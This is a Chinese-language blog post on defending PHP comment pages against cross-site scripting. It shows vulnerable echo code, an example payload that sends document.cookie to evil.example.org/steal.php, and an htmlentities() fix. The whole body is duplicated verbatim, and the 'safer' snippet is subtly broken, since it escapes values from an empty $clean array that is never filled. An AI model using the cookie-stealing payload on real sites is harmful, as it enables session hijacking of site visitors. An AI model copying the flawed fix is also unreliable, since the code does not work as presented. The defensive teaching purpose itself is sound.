php防御跨站脚本攻击
2013-10-28 17:28
309 查看
跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。
所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:
<form action="comment.php" method="POST"
/>
<p>Name:
<input type="text" name="name"
/><br />
Comment: <textarea
name="comment" rows="10"
cols="60"></textarea><br
/>
<input type="submit"
value="Add Comment"
/></p>
</form>
程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):
<?php
echo
"<p>$name writes:<br
/>";
echo
"<blockquote>$comment</blockquote></p>";
?>
这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:
<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>
如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防问所有的cookies。
这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如前面所述的过滤输入及转义输出即可。
最起码你要用htmlentities()对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。
由此,用下面的代码来显示评论是更安全的:
<?php
$clean =
array();
$html =
array();
$html['name']
= htmlentities($clean['name'], ENT_QUOTES,
'UTF-8');
$html['comment']
= htmlentities($clean['comment'], ENT_QUOTES,
'UTF-8');
echo
"<p>{$html['name']}
writes:<br />";
echo
"<blockquote>{$html['comment']}</blockquote></p>";
?>
所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:
<form action="comment.php" method="POST"
/>
<p>Name:
<input type="text" name="name"
/><br />
Comment: <textarea
name="comment" rows="10"
cols="60"></textarea><br
/>
<input type="submit"
value="Add Comment"
/></p>
</form>
程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):
<?php
echo
"<p>$name writes:<br
/>";
echo
"<blockquote>$comment</blockquote></p>";
?>
这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:
<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>
如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防问所有的cookies。
这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如前面所述的过滤输入及转义输出即可。
最起码你要用htmlentities()对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。
由此,用下面的代码来显示评论是更安全的:
<?php
$clean =
array();
$html =
array();
$html['name']
= htmlentities($clean['name'], ENT_QUOTES,
'UTF-8');
$html['comment']
= htmlentities($clean['comment'], ENT_QUOTES,
'UTF-8');
echo
"<p>{$html['name']}
writes:<br />";
echo
"<blockquote>{$html['comment']}</blockquote></p>";
?>
相关文章推荐
- PHP单元测试工具PHPUnit初体验
- 强制文件下载php
- 教你如何使用php session
- php 备份数据库脚本
- PHP中开发的良好习惯总结(持续更新) By ACReaper
- 【php】php通过COM类调用组件
- php字符编码转换之gb2312转为utf8
- Yii的分页方法收集
- php 备份和还原数据库
- php定时执行任务的几个方法
- php表单时间转换为时间戳-175
- PHPCMSv9 更改后台地址(测试)
- iOS推送消息 php做推送服务端
- php中文乱码
- PHP专业开发IDE——Zend Studio 10.5预览版发布
- php文件上传错误代码意思
- php类代码中常看到"::"的操作符
- intellij idea12 搭建php开发环境
- php header功能的使用
- PHP程序调试方法